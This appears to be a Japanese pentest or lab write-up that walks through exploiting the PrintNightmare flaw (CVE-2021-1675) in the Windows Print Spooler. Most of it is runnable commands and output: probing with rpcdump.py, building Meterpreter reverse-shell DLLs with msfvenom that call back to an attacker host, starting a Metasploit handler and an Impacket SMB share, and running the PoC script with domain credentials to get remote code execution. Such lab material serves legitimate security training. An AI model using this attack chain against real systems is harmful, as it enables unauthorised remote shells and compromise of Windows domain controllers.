
CVE-2021-1675 (PrintNightmare) を標的とした概念実証エクスプロイトで、Windows Print Spooler を対象としています。msfvenom で生成された悪意のある DLL を SMB 経由で配信し、リモートコード実行と Meterpreter リバースシェルを実現します。
Printer Spoolerは、印刷キューを管理するWindowsサービスです。ユーザーが送信したジョブを受け取り、プリンターが理解できる形式に変換し、プリンターが利用可能になったときに送信します。これは、高い権限を持つシステムサービス(spoolsv.exe)として実行されるため、PrintNightmare脆弱性などの攻撃の頻繁な標的となっています。
攻撃者がリモートでプリントスプーラーを悪用しようとする場合、ホストがPrintNightmareの欠陥に対して脆弱かどうかを確認するには、ペンテスト環境で広く使用されているツール群であるimpacketパッケージの一部であるrpcdump.pyというツールを使用できます。
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
この脆弱性を悪用するための配布方法は、悪意のあるDLLです。この方法は「ファイルレス」悪用としても知られ、アンチウイルスソフトウェアなどのほとんどのシステム保護を回避できます。この攻撃では、プリントスプーラーサービスを欺いて、UNCパスから新しいドライバーをインストールしてロードさせます。この場合、それが悪意のあるDLLであり、攻撃用コンピューターへのリバースシェルを提供します。悪意のあるDLLを作成するには、「msfvenom」を使用し、実行中のアーキテクチャに応じて、Windows x64またはx86ペイロードをDLLに統合し、ローカルホストとローカルポートを指定します。ここで、DLLからのコールバック用リスナーを開始します。自分のマシンのIPアドレスは、「ifconfig」と入力して確認できます。悪意のあるDLLを作成するには、次のコマンドを使用します。
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
また、別のケースでアーキテクチャが32ビットの場合、このペイロードを使用します。
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
悪意のあるDLLを作成したので、次に「Metasploit Framework」でリスナーを起動して、DLLがシステム上で実行されたときに「Meterpreter」シェルを受け取る必要があります。リスナーを起動するには、以下の手順に従います。最後に「exploit -j」と入力して、リスナーをバックグラウンドで起動します。
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
受信側を起動したので、次にSMBサーバーを起動して悪意のあるDLLファイルをホストします。DLLファイルを保存したシステムパスに移動し、以下のコマンドを入力してSMBサーバーを起動します。その前に、お使いのコンピューターに「Impacket」がインストールされていることを確認してください。ImpacketはPythonで書かれたオープンソースモジュールの集まりで、そのうちの1つがsmbserver.pyです。これは今回使用するものです。「smbserver.py」スクリプトを起動して悪意のあるDLLファイルをホストするには、保存したディレクトリ(私の場合は/home/ghost/Pentesting/Printer/)で次のコマンドを入力します。
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
これで、CVE-2021–1675の概念実証(POC)を使用して悪用プロセスを開始する準備が整いました。これを行うには、ドメインコントローラーとユーザー資格情報を、当社のシステムでホストされている悪意のあるDLLへのUNCパスとともに指定します。
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
エクスプロイトスクリプトを実行して数秒後、前に「Metasploit」で起動したリスナーに戻ると、「Meterpreter」セッションが開かれたことが表示されるので、「Meterpreterシェル」を使用して被害者のマシンと対話できるようになります。